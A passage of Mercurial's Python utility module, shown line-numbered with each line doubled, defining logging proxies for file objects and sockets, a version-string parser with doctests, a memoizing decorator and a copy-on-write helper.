611 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
611 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
612 bypass ``fileobjectproxy``. Because of this, we need to make
612 bypass ``fileobjectproxy``. Because of this, we need to make
613 ``bufferedinputpipe`` aware of these operations.
613 ``bufferedinputpipe`` aware of these operations.
614
614
615 This variation of ``bufferedinputpipe`` can notify observers about
615 This variation of ``bufferedinputpipe`` can notify observers about
616 ``os.read()`` events. It also re-publishes other events, such as
616 ``os.read()`` events. It also re-publishes other events, such as
617 ``read()`` and ``readline()``.
617 ``read()`` and ``readline()``.
618 """
618 """
619
619
620 def _fillbuffer(self):
620 def _fillbuffer(self):
621 res = super(observedbufferedinputpipe, self)._fillbuffer()
621 res = super(observedbufferedinputpipe, self)._fillbuffer()
622
622
623 fn = getattr(self._input._observer, 'osread', None)
623 fn = getattr(self._input._observer, 'osread', None)
624 if fn:
624 if fn:
625 fn(res, _chunksize)
625 fn(res, _chunksize)
626
626
627 return res
627 return res
628
628
629 # We use different observer methods because the operation isn't
629 # We use different observer methods because the operation isn't
630 # performed on the actual file object but on us.
630 # performed on the actual file object but on us.
631 def read(self, size):
631 def read(self, size):
632 res = super(observedbufferedinputpipe, self).read(size)
632 res = super(observedbufferedinputpipe, self).read(size)
633
633
634 fn = getattr(self._input._observer, 'bufferedread', None)
634 fn = getattr(self._input._observer, 'bufferedread', None)
635 if fn:
635 if fn:
636 fn(res, size)
636 fn(res, size)
637
637
638 return res
638 return res
639
639
640 def readline(self, *args, **kwargs):
640 def readline(self, *args, **kwargs):
641 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
641 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
642
642
643 fn = getattr(self._input._observer, 'bufferedreadline', None)
643 fn = getattr(self._input._observer, 'bufferedreadline', None)
644 if fn:
644 if fn:
645 fn(res)
645 fn(res)
646
646
647 return res
647 return res
648
648
649
649
650 PROXIED_SOCKET_METHODS = {
650 PROXIED_SOCKET_METHODS = {
651 'makefile',
651 'makefile',
652 'recv',
652 'recv',
653 'recvfrom',
653 'recvfrom',
654 'recvfrom_into',
654 'recvfrom_into',
655 'recv_into',
655 'recv_into',
656 'send',
656 'send',
657 'sendall',
657 'sendall',
658 'sendto',
658 'sendto',
659 'setblocking',
659 'setblocking',
660 'settimeout',
660 'settimeout',
661 'gettimeout',
661 'gettimeout',
662 'setsockopt',
662 'setsockopt',
663 }
663 }
664
664
665
665
666 class socketproxy(object):
666 class socketproxy(object):
667 """A proxy around a socket that tells a watcher when events occur.
667 """A proxy around a socket that tells a watcher when events occur.
668
668
669 This is like ``fileobjectproxy`` except for sockets.
669 This is like ``fileobjectproxy`` except for sockets.
670
670
671 This type is intended to only be used for testing purposes. Think hard
671 This type is intended to only be used for testing purposes. Think hard
672 before using it in important code.
672 before using it in important code.
673 """
673 """
674
674
675 __slots__ = (
675 __slots__ = (
676 '_orig',
676 '_orig',
677 '_observer',
677 '_observer',
678 )
678 )
679
679
680 def __init__(self, sock, observer):
680 def __init__(self, sock, observer):
681 object.__setattr__(self, '_orig', sock)
681 object.__setattr__(self, '_orig', sock)
682 object.__setattr__(self, '_observer', observer)
682 object.__setattr__(self, '_observer', observer)
683
683
684 def __getattribute__(self, name):
684 def __getattribute__(self, name):
685 if name in PROXIED_SOCKET_METHODS:
685 if name in PROXIED_SOCKET_METHODS:
686 return object.__getattribute__(self, name)
686 return object.__getattribute__(self, name)
687
687
688 return getattr(object.__getattribute__(self, '_orig'), name)
688 return getattr(object.__getattribute__(self, '_orig'), name)
689
689
690 def __delattr__(self, name):
690 def __delattr__(self, name):
691 return delattr(object.__getattribute__(self, '_orig'), name)
691 return delattr(object.__getattribute__(self, '_orig'), name)
692
692
693 def __setattr__(self, name, value):
693 def __setattr__(self, name, value):
694 return setattr(object.__getattribute__(self, '_orig'), name, value)
694 return setattr(object.__getattribute__(self, '_orig'), name, value)
695
695
696 def __nonzero__(self):
696 def __nonzero__(self):
697 return bool(object.__getattribute__(self, '_orig'))
697 return bool(object.__getattribute__(self, '_orig'))
698
698
699 __bool__ = __nonzero__
699 __bool__ = __nonzero__
700
700
701 def _observedcall(self, name, *args, **kwargs):
701 def _observedcall(self, name, *args, **kwargs):
702 # Call the original object.
702 # Call the original object.
703 orig = object.__getattribute__(self, '_orig')
703 orig = object.__getattribute__(self, '_orig')
704 res = getattr(orig, name)(*args, **kwargs)
704 res = getattr(orig, name)(*args, **kwargs)
705
705
706 # Call a method on the observer of the same name with arguments
706 # Call a method on the observer of the same name with arguments
707 # so it can react, log, etc.
707 # so it can react, log, etc.
708 observer = object.__getattribute__(self, '_observer')
708 observer = object.__getattribute__(self, '_observer')
709 fn = getattr(observer, name, None)
709 fn = getattr(observer, name, None)
710 if fn:
710 if fn:
711 fn(res, *args, **kwargs)
711 fn(res, *args, **kwargs)
712
712
713 return res
713 return res
714
714
715 def makefile(self, *args, **kwargs):
715 def makefile(self, *args, **kwargs):
716 res = object.__getattribute__(self, '_observedcall')(
716 res = object.__getattribute__(self, '_observedcall')(
717 'makefile', *args, **kwargs
717 'makefile', *args, **kwargs
718 )
718 )
719
719
720 # The file object may be used for I/O. So we turn it into a
720 # The file object may be used for I/O. So we turn it into a
721 # proxy using our observer.
721 # proxy using our observer.
722 observer = object.__getattribute__(self, '_observer')
722 observer = object.__getattribute__(self, '_observer')
723 return makeloggingfileobject(
723 return makeloggingfileobject(
724 observer.fh,
724 observer.fh,
725 res,
725 res,
726 observer.name,
726 observer.name,
727 reads=observer.reads,
727 reads=observer.reads,
728 writes=observer.writes,
728 writes=observer.writes,
729 logdata=observer.logdata,
729 logdata=observer.logdata,
730 logdataapis=observer.logdataapis,
730 logdataapis=observer.logdataapis,
731 )
731 )
732
732
733 def recv(self, *args, **kwargs):
733 def recv(self, *args, **kwargs):
734 return object.__getattribute__(self, '_observedcall')(
734 return object.__getattribute__(self, '_observedcall')(
735 'recv', *args, **kwargs
735 'recv', *args, **kwargs
736 )
736 )
737
737
738 def recvfrom(self, *args, **kwargs):
738 def recvfrom(self, *args, **kwargs):
739 return object.__getattribute__(self, '_observedcall')(
739 return object.__getattribute__(self, '_observedcall')(
740 'recvfrom', *args, **kwargs
740 'recvfrom', *args, **kwargs
741 )
741 )
742
742
743 def recvfrom_into(self, *args, **kwargs):
743 def recvfrom_into(self, *args, **kwargs):
744 return object.__getattribute__(self, '_observedcall')(
744 return object.__getattribute__(self, '_observedcall')(
745 'recvfrom_into', *args, **kwargs
745 'recvfrom_into', *args, **kwargs
746 )
746 )
747
747
748 def recv_into(self, *args, **kwargs):
748 def recv_into(self, *args, **kwargs):
749 return object.__getattribute__(self, '_observedcall')(
749 return object.__getattribute__(self, '_observedcall')(
750 'recv_info', *args, **kwargs
750 'recv_info', *args, **kwargs
751 )
751 )
752
752
753 def send(self, *args, **kwargs):
753 def send(self, *args, **kwargs):
754 return object.__getattribute__(self, '_observedcall')(
754 return object.__getattribute__(self, '_observedcall')(
755 'send', *args, **kwargs
755 'send', *args, **kwargs
756 )
756 )
757
757
758 def sendall(self, *args, **kwargs):
758 def sendall(self, *args, **kwargs):
759 return object.__getattribute__(self, '_observedcall')(
759 return object.__getattribute__(self, '_observedcall')(
760 'sendall', *args, **kwargs
760 'sendall', *args, **kwargs
761 )
761 )
762
762
763 def sendto(self, *args, **kwargs):
763 def sendto(self, *args, **kwargs):
764 return object.__getattribute__(self, '_observedcall')(
764 return object.__getattribute__(self, '_observedcall')(
765 'sendto', *args, **kwargs
765 'sendto', *args, **kwargs
766 )
766 )
767
767
768 def setblocking(self, *args, **kwargs):
768 def setblocking(self, *args, **kwargs):
769 return object.__getattribute__(self, '_observedcall')(
769 return object.__getattribute__(self, '_observedcall')(
770 'setblocking', *args, **kwargs
770 'setblocking', *args, **kwargs
771 )
771 )
772
772
773 def settimeout(self, *args, **kwargs):
773 def settimeout(self, *args, **kwargs):
774 return object.__getattribute__(self, '_observedcall')(
774 return object.__getattribute__(self, '_observedcall')(
775 'settimeout', *args, **kwargs
775 'settimeout', *args, **kwargs
776 )
776 )
777
777
778 def gettimeout(self, *args, **kwargs):
778 def gettimeout(self, *args, **kwargs):
779 return object.__getattribute__(self, '_observedcall')(
779 return object.__getattribute__(self, '_observedcall')(
780 'gettimeout', *args, **kwargs
780 'gettimeout', *args, **kwargs
781 )
781 )
782
782
783 def setsockopt(self, *args, **kwargs):
783 def setsockopt(self, *args, **kwargs):
784 return object.__getattribute__(self, '_observedcall')(
784 return object.__getattribute__(self, '_observedcall')(
785 'setsockopt', *args, **kwargs
785 'setsockopt', *args, **kwargs
786 )
786 )
787
787
788
788
789 class baseproxyobserver(object):
789 class baseproxyobserver(object):
790 def _writedata(self, data):
790 def _writedata(self, data):
791 if not self.logdata:
791 if not self.logdata:
792 if self.logdataapis:
792 if self.logdataapis:
793 self.fh.write(b'\n')
793 self.fh.write(b'\n')
794 self.fh.flush()
794 self.fh.flush()
795 return
795 return
796
796
797 # Simple case writes all data on a single line.
797 # Simple case writes all data on a single line.
798 if b'\n' not in data:
798 if b'\n' not in data:
799 if self.logdataapis:
799 if self.logdataapis:
800 self.fh.write(b': %s\n' % stringutil.escapestr(data))
800 self.fh.write(b': %s\n' % stringutil.escapestr(data))
801 else:
801 else:
802 self.fh.write(
802 self.fh.write(
803 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
803 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
804 )
804 )
805 self.fh.flush()
805 self.fh.flush()
806 return
806 return
807
807
808 # Data with newlines is written to multiple lines.
808 # Data with newlines is written to multiple lines.
809 if self.logdataapis:
809 if self.logdataapis:
810 self.fh.write(b':\n')
810 self.fh.write(b':\n')
811
811
812 lines = data.splitlines(True)
812 lines = data.splitlines(True)
813 for line in lines:
813 for line in lines:
814 self.fh.write(
814 self.fh.write(
815 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
815 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
816 )
816 )
817 self.fh.flush()
817 self.fh.flush()
818
818
819
819
820 class fileobjectobserver(baseproxyobserver):
820 class fileobjectobserver(baseproxyobserver):
821 """Logs file object activity."""
821 """Logs file object activity."""
822
822
823 def __init__(
823 def __init__(
824 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
824 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
825 ):
825 ):
826 self.fh = fh
826 self.fh = fh
827 self.name = name
827 self.name = name
828 self.logdata = logdata
828 self.logdata = logdata
829 self.logdataapis = logdataapis
829 self.logdataapis = logdataapis
830 self.reads = reads
830 self.reads = reads
831 self.writes = writes
831 self.writes = writes
832
832
833 def read(self, res, size=-1):
833 def read(self, res, size=-1):
834 if not self.reads:
834 if not self.reads:
835 return
835 return
836 # Python 3 can return None from reads at EOF instead of empty strings.
836 # Python 3 can return None from reads at EOF instead of empty strings.
837 if res is None:
837 if res is None:
838 res = b''
838 res = b''
839
839
840 if size == -1 and res == b'':
840 if size == -1 and res == b'':
841 # Suppress pointless read(-1) calls that return
841 # Suppress pointless read(-1) calls that return
842 # nothing. These happen _a lot_ on Python 3, and there
842 # nothing. These happen _a lot_ on Python 3, and there
843 # doesn't seem to be a better workaround to have matching
843 # doesn't seem to be a better workaround to have matching
844 # Python 2 and 3 behavior. :(
844 # Python 2 and 3 behavior. :(
845 return
845 return
846
846
847 if self.logdataapis:
847 if self.logdataapis:
848 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
848 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
849
849
850 self._writedata(res)
850 self._writedata(res)
851
851
852 def readline(self, res, limit=-1):
852 def readline(self, res, limit=-1):
853 if not self.reads:
853 if not self.reads:
854 return
854 return
855
855
856 if self.logdataapis:
856 if self.logdataapis:
857 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
857 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
858
858
859 self._writedata(res)
859 self._writedata(res)
860
860
861 def readinto(self, res, dest):
861 def readinto(self, res, dest):
862 if not self.reads:
862 if not self.reads:
863 return
863 return
864
864
865 if self.logdataapis:
865 if self.logdataapis:
866 self.fh.write(
866 self.fh.write(
867 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
867 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
868 )
868 )
869
869
870 data = dest[0:res] if res is not None else b''
870 data = dest[0:res] if res is not None else b''
871
871
872 # _writedata() uses "in" operator and is confused by memoryview because
872 # _writedata() uses "in" operator and is confused by memoryview because
873 # characters are ints on Python 3.
873 # characters are ints on Python 3.
874 if isinstance(data, memoryview):
874 if isinstance(data, memoryview):
875 data = data.tobytes()
875 data = data.tobytes()
876
876
877 self._writedata(data)
877 self._writedata(data)
878
878
879 def write(self, res, data):
879 def write(self, res, data):
880 if not self.writes:
880 if not self.writes:
881 return
881 return
882
882
883 # Python 2 returns None from some write() calls. Python 3 (reasonably)
883 # Python 2 returns None from some write() calls. Python 3 (reasonably)
884 # returns the integer bytes written.
884 # returns the integer bytes written.
885 if res is None and data:
885 if res is None and data:
886 res = len(data)
886 res = len(data)
887
887
888 if self.logdataapis:
888 if self.logdataapis:
889 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
889 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
890
890
891 self._writedata(data)
891 self._writedata(data)
892
892
893 def flush(self, res):
893 def flush(self, res):
894 if not self.writes:
894 if not self.writes:
895 return
895 return
896
896
897 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
897 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
898
898
899 # For observedbufferedinputpipe.
899 # For observedbufferedinputpipe.
900 def bufferedread(self, res, size):
900 def bufferedread(self, res, size):
901 if not self.reads:
901 if not self.reads:
902 return
902 return
903
903
904 if self.logdataapis:
904 if self.logdataapis:
905 self.fh.write(
905 self.fh.write(
906 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
906 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
907 )
907 )
908
908
909 self._writedata(res)
909 self._writedata(res)
910
910
911 def bufferedreadline(self, res):
911 def bufferedreadline(self, res):
912 if not self.reads:
912 if not self.reads:
913 return
913 return
914
914
915 if self.logdataapis:
915 if self.logdataapis:
916 self.fh.write(
916 self.fh.write(
917 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
917 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
918 )
918 )
919
919
920 self._writedata(res)
920 self._writedata(res)
921
921
922
922
923 def makeloggingfileobject(
923 def makeloggingfileobject(
924 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
924 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
925 ):
925 ):
926 """Turn a file object into a logging file object."""
926 """Turn a file object into a logging file object."""
927
927
928 observer = fileobjectobserver(
928 observer = fileobjectobserver(
929 logh,
929 logh,
930 name,
930 name,
931 reads=reads,
931 reads=reads,
932 writes=writes,
932 writes=writes,
933 logdata=logdata,
933 logdata=logdata,
934 logdataapis=logdataapis,
934 logdataapis=logdataapis,
935 )
935 )
936 return fileobjectproxy(fh, observer)
936 return fileobjectproxy(fh, observer)
937
937
938
938
939 class socketobserver(baseproxyobserver):
939 class socketobserver(baseproxyobserver):
940 """Logs socket activity."""
940 """Logs socket activity."""
941
941
942 def __init__(
942 def __init__(
943 self,
943 self,
944 fh,
944 fh,
945 name,
945 name,
946 reads=True,
946 reads=True,
947 writes=True,
947 writes=True,
948 states=True,
948 states=True,
949 logdata=False,
949 logdata=False,
950 logdataapis=True,
950 logdataapis=True,
951 ):
951 ):
952 self.fh = fh
952 self.fh = fh
953 self.name = name
953 self.name = name
954 self.reads = reads
954 self.reads = reads
955 self.writes = writes
955 self.writes = writes
956 self.states = states
956 self.states = states
957 self.logdata = logdata
957 self.logdata = logdata
958 self.logdataapis = logdataapis
958 self.logdataapis = logdataapis
959
959
960 def makefile(self, res, mode=None, bufsize=None):
960 def makefile(self, res, mode=None, bufsize=None):
961 if not self.states:
961 if not self.states:
962 return
962 return
963
963
964 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
964 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
965
965
966 def recv(self, res, size, flags=0):
966 def recv(self, res, size, flags=0):
967 if not self.reads:
967 if not self.reads:
968 return
968 return
969
969
970 if self.logdataapis:
970 if self.logdataapis:
971 self.fh.write(
971 self.fh.write(
972 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
972 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
973 )
973 )
974 self._writedata(res)
974 self._writedata(res)
975
975
976 def recvfrom(self, res, size, flags=0):
976 def recvfrom(self, res, size, flags=0):
977 if not self.reads:
977 if not self.reads:
978 return
978 return
979
979
980 if self.logdataapis:
980 if self.logdataapis:
981 self.fh.write(
981 self.fh.write(
982 b'%s> recvfrom(%d, %d) -> %d'
982 b'%s> recvfrom(%d, %d) -> %d'
983 % (self.name, size, flags, len(res[0]))
983 % (self.name, size, flags, len(res[0]))
984 )
984 )
985
985
986 self._writedata(res[0])
986 self._writedata(res[0])
987
987
988 def recvfrom_into(self, res, buf, size, flags=0):
988 def recvfrom_into(self, res, buf, size, flags=0):
989 if not self.reads:
989 if not self.reads:
990 return
990 return
991
991
992 if self.logdataapis:
992 if self.logdataapis:
993 self.fh.write(
993 self.fh.write(
994 b'%s> recvfrom_into(%d, %d) -> %d'
994 b'%s> recvfrom_into(%d, %d) -> %d'
995 % (self.name, size, flags, res[0])
995 % (self.name, size, flags, res[0])
996 )
996 )
997
997
998 self._writedata(buf[0 : res[0]])
998 self._writedata(buf[0 : res[0]])
999
999
1000 def recv_into(self, res, buf, size=0, flags=0):
1000 def recv_into(self, res, buf, size=0, flags=0):
1001 if not self.reads:
1001 if not self.reads:
1002 return
1002 return
1003
1003
1004 if self.logdataapis:
1004 if self.logdataapis:
1005 self.fh.write(
1005 self.fh.write(
1006 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1006 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1007 )
1007 )
1008
1008
1009 self._writedata(buf[0:res])
1009 self._writedata(buf[0:res])
1010
1010
1011 def send(self, res, data, flags=0):
1011 def send(self, res, data, flags=0):
1012 if not self.writes:
1012 if not self.writes:
1013 return
1013 return
1014
1014
1015 self.fh.write(
1015 self.fh.write(
1016 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1016 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1017 )
1017 )
1018 self._writedata(data)
1018 self._writedata(data)
1019
1019
1020 def sendall(self, res, data, flags=0):
1020 def sendall(self, res, data, flags=0):
1021 if not self.writes:
1021 if not self.writes:
1022 return
1022 return
1023
1023
1024 if self.logdataapis:
1024 if self.logdataapis:
1025 # Returns None on success. So don't bother reporting return value.
1025 # Returns None on success. So don't bother reporting return value.
1026 self.fh.write(
1026 self.fh.write(
1027 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1027 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1028 )
1028 )
1029
1029
1030 self._writedata(data)
1030 self._writedata(data)
1031
1031
1032 def sendto(self, res, data, flagsoraddress, address=None):
1032 def sendto(self, res, data, flagsoraddress, address=None):
1033 if not self.writes:
1033 if not self.writes:
1034 return
1034 return
1035
1035
1036 if address:
1036 if address:
1037 flags = flagsoraddress
1037 flags = flagsoraddress
1038 else:
1038 else:
1039 flags = 0
1039 flags = 0
1040
1040
1041 if self.logdataapis:
1041 if self.logdataapis:
1042 self.fh.write(
1042 self.fh.write(
1043 b'%s> sendto(%d, %d, %r) -> %d'
1043 b'%s> sendto(%d, %d, %r) -> %d'
1044 % (self.name, len(data), flags, address, res)
1044 % (self.name, len(data), flags, address, res)
1045 )
1045 )
1046
1046
1047 self._writedata(data)
1047 self._writedata(data)
1048
1048
1049 def setblocking(self, res, flag):
1049 def setblocking(self, res, flag):
1050 if not self.states:
1050 if not self.states:
1051 return
1051 return
1052
1052
1053 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1053 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1054
1054
1055 def settimeout(self, res, value):
1055 def settimeout(self, res, value):
1056 if not self.states:
1056 if not self.states:
1057 return
1057 return
1058
1058
1059 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1059 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1060
1060
1061 def gettimeout(self, res):
1061 def gettimeout(self, res):
1062 if not self.states:
1062 if not self.states:
1063 return
1063 return
1064
1064
1065 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1065 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1066
1066
1067 def setsockopt(self, res, level, optname, value):
1067 def setsockopt(self, res, level, optname, value):
1068 if not self.states:
1068 if not self.states:
1069 return
1069 return
1070
1070
1071 self.fh.write(
1071 self.fh.write(
1072 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1072 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1073 % (self.name, level, optname, value, res)
1073 % (self.name, level, optname, value, res)
1074 )
1074 )
1075
1075
1076
1076
1077 def makeloggingsocket(
1077 def makeloggingsocket(
1078 logh,
1078 logh,
1079 fh,
1079 fh,
1080 name,
1080 name,
1081 reads=True,
1081 reads=True,
1082 writes=True,
1082 writes=True,
1083 states=True,
1083 states=True,
1084 logdata=False,
1084 logdata=False,
1085 logdataapis=True,
1085 logdataapis=True,
1086 ):
1086 ):
1087 """Turn a socket into a logging socket."""
1087 """Turn a socket into a logging socket."""
1088
1088
1089 observer = socketobserver(
1089 observer = socketobserver(
1090 logh,
1090 logh,
1091 name,
1091 name,
1092 reads=reads,
1092 reads=reads,
1093 writes=writes,
1093 writes=writes,
1094 states=states,
1094 states=states,
1095 logdata=logdata,
1095 logdata=logdata,
1096 logdataapis=logdataapis,
1096 logdataapis=logdataapis,
1097 )
1097 )
1098 return socketproxy(fh, observer)
1098 return socketproxy(fh, observer)
1099
1099
1100
1100
1101 def version():
1101 def version():
1102 """Return version information if available."""
1102 """Return version information if available."""
1103 try:
1103 try:
1104 from . import __version__
1104 from . import __version__
1105
1105
1106 return __version__.version
1106 return __version__.version
1107 except ImportError:
1107 except ImportError:
1108 return b'unknown'
1108 return b'unknown'
1109
1109
1110
1110
1111 def versiontuple(v=None, n=4):
1111 def versiontuple(v=None, n=4):
1112 """Parses a Mercurial version string into an N-tuple.
1112 """Parses a Mercurial version string into an N-tuple.
1113
1113
1114 The version string to be parsed is specified with the ``v`` argument.
1114 The version string to be parsed is specified with the ``v`` argument.
1115 If it isn't defined, the current Mercurial version string will be parsed.
1115 If it isn't defined, the current Mercurial version string will be parsed.
1116
1116
1117 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1117 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1118 returned values:
1118 returned values:
1119
1119
1120 >>> v = b'3.6.1+190-df9b73d2d444'
1120 >>> v = b'3.6.1+190-df9b73d2d444'
1121 >>> versiontuple(v, 2)
1121 >>> versiontuple(v, 2)
1122 (3, 6)
1122 (3, 6)
1123 >>> versiontuple(v, 3)
1123 >>> versiontuple(v, 3)
1124 (3, 6, 1)
1124 (3, 6, 1)
1125 >>> versiontuple(v, 4)
1125 >>> versiontuple(v, 4)
1126 (3, 6, 1, '190-df9b73d2d444')
1126 (3, 6, 1, '190-df9b73d2d444')
1127
1127
1128 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1128 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1129 (3, 6, 1, '190-df9b73d2d444+20151118')
1129 (3, 6, 1, '190-df9b73d2d444+20151118')
1130
1130
1131 >>> v = b'3.6'
1131 >>> v = b'3.6'
1132 >>> versiontuple(v, 2)
1132 >>> versiontuple(v, 2)
1133 (3, 6)
1133 (3, 6)
1134 >>> versiontuple(v, 3)
1134 >>> versiontuple(v, 3)
1135 (3, 6, None)
1135 (3, 6, None)
1136 >>> versiontuple(v, 4)
1136 >>> versiontuple(v, 4)
1137 (3, 6, None, None)
1137 (3, 6, None, None)
1138
1138
1139 >>> v = b'3.9-rc'
1139 >>> v = b'3.9-rc'
1140 >>> versiontuple(v, 2)
1140 >>> versiontuple(v, 2)
1141 (3, 9)
1141 (3, 9)
1142 >>> versiontuple(v, 3)
1142 >>> versiontuple(v, 3)
1143 (3, 9, None)
1143 (3, 9, None)
1144 >>> versiontuple(v, 4)
1144 >>> versiontuple(v, 4)
1145 (3, 9, None, 'rc')
1145 (3, 9, None, 'rc')
1146
1146
1147 >>> v = b'3.9-rc+2-02a8fea4289b'
1147 >>> v = b'3.9-rc+2-02a8fea4289b'
1148 >>> versiontuple(v, 2)
1148 >>> versiontuple(v, 2)
1149 (3, 9)
1149 (3, 9)
1150 >>> versiontuple(v, 3)
1150 >>> versiontuple(v, 3)
1151 (3, 9, None)
1151 (3, 9, None)
1152 >>> versiontuple(v, 4)
1152 >>> versiontuple(v, 4)
1153 (3, 9, None, 'rc+2-02a8fea4289b')
1153 (3, 9, None, 'rc+2-02a8fea4289b')
1154
1154
1155 >>> versiontuple(b'4.6rc0')
1155 >>> versiontuple(b'4.6rc0')
1156 (4, 6, None, 'rc0')
1156 (4, 6, None, 'rc0')
1157 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1157 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1158 (4, 6, None, 'rc0+12-425d55e54f98')
1158 (4, 6, None, 'rc0+12-425d55e54f98')
1159 >>> versiontuple(b'.1.2.3')
1159 >>> versiontuple(b'.1.2.3')
1160 (None, None, None, '.1.2.3')
1160 (None, None, None, '.1.2.3')
1161 >>> versiontuple(b'12.34..5')
1161 >>> versiontuple(b'12.34..5')
1162 (12, 34, None, '..5')
1162 (12, 34, None, '..5')
1163 >>> versiontuple(b'1.2.3.4.5.6')
1163 >>> versiontuple(b'1.2.3.4.5.6')
1164 (1, 2, 3, '.4.5.6')
1164 (1, 2, 3, '.4.5.6')
1165 """
1165 """
1166 if not v:
1166 if not v:
1167 v = version()
1167 v = version()
1168 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1168 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1169 if not m:
1169 if not m:
1170 vparts, extra = b'', v
1170 vparts, extra = b'', v
1171 elif m.group(2):
1171 elif m.group(2):
1172 vparts, extra = m.groups()
1172 vparts, extra = m.groups()
1173 else:
1173 else:
1174 vparts, extra = m.group(1), None
1174 vparts, extra = m.group(1), None
1175
1175
1176 assert vparts is not None # help pytype
1176 assert vparts is not None # help pytype
1177
1177
1178 vints = []
1178 vints = []
1179 for i in vparts.split(b'.'):
1179 for i in vparts.split(b'.'):
1180 try:
1180 try:
1181 vints.append(int(i))
1181 vints.append(int(i))
1182 except ValueError:
1182 except ValueError:
1183 break
1183 break
1184 # (3, 6) -> (3, 6, None)
1184 # (3, 6) -> (3, 6, None)
1185 while len(vints) < 3:
1185 while len(vints) < 3:
1186 vints.append(None)
1186 vints.append(None)
1187
1187
1188 if n == 2:
1188 if n == 2:
1189 return (vints[0], vints[1])
1189 return (vints[0], vints[1])
1190 if n == 3:
1190 if n == 3:
1191 return (vints[0], vints[1], vints[2])
1191 return (vints[0], vints[1], vints[2])
1192 if n == 4:
1192 if n == 4:
1193 return (vints[0], vints[1], vints[2], extra)
1193 return (vints[0], vints[1], vints[2], extra)
1194
1194
1195
1195
1196 def cachefunc(func):
1196 def cachefunc(func):
1197 '''cache the result of function calls'''
1197 '''cache the result of function calls'''
1198 # XXX doesn't handle keywords args
1198 # XXX doesn't handle keywords args
1199 if func.__code__.co_argcount == 0:
1199 if func.__code__.co_argcount == 0:
1200 listcache = []
1200 listcache = []
1201
1201
1202 def f():
1202 def f():
1203 if len(listcache) == 0:
1203 if len(listcache) == 0:
1204 listcache.append(func())
1204 listcache.append(func())
1205 return listcache[0]
1205 return listcache[0]
1206
1206
1207 return f
1207 return f
1208 cache = {}
1208 cache = {}
1209 if func.__code__.co_argcount == 1:
1209 if func.__code__.co_argcount == 1:
1210 # we gain a small amount of time because
1210 # we gain a small amount of time because
1211 # we don't need to pack/unpack the list
1211 # we don't need to pack/unpack the list
1212 def f(arg):
1212 def f(arg):
1213 if arg not in cache:
1213 if arg not in cache:
1214 cache[arg] = func(arg)
1214 cache[arg] = func(arg)
1215 return cache[arg]
1215 return cache[arg]
1216
1216
1217 else:
1217 else:
1218
1218
1219 def f(*args):
1219 def f(*args):
1220 if args not in cache:
1220 if args not in cache:
1221 cache[args] = func(*args)
1221 cache[args] = func(*args)
1222 return cache[args]
1222 return cache[args]
1223
1223
1224 return f
1224 return f
1225
1225
1226
1226
1227 class cow(object):
1227 class cow(object):
1228 """helper class to make copy-on-write easier
1228 """helper class to make copy-on-write easier
1229
1229
1230 Call preparewrite before doing any writes.
1230 Call preparewrite before doing any writes.
1231 """
1231 """
1232
1232
1233 def preparewrite(self):
1233 def preparewrite(self):
1234 """call this before writes, return self or a copied new object"""
1234 """call this before writes, return self or a copied new object"""
1235 if getattr(self, '_copied', 0):
1235 if getattr(self, '_copied', 0):
1236 self._copied -= 1
1236 self._copied -= 1
1237 return self.__class__(self)
1237 return self.__class__(self)
1238 return self
1238 return self
1239
1239
1240 def copy(self):
1240 def copy(self):
1241 """always do a cheap copy"""
1241 """always do a cheap copy"""
1242 self._copied = getattr(self, '_copied', 0) + 1
1242 self._copied = getattr(self, '_copied', 0) + 1
1243 return self
1243 return self
1244
1244
1245
1245
